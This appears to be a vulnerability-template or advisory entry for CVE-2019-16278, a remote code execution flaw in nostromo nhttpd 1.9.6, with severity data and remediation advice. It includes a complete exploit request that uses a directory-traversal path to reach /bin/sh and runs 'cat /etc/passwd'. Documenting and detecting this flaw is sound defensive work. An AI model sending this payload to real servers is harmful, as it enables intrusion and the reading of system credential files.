| Title | nostromo 1.9.6 - Remote Code Execution |
|---|---|
| Author | pikpikcu |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the target system. |
| Remediation | Upgrade to a patched version of nostromo web server (1.9.7 or later) or apply the vendor-supplied patch. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94393 |
| CVE ID | CVE-2019-16278 |
| CWE ID | CWE-22 |
| Tags | cve cve2019 edb rce packetstorm nazgul kev vkev vuln |
nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via directory traversal in the function http_verify.
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Content-Length: 32
Accept-Encoding: gzip
echo
echo
cat /etc/passwd 2>&1
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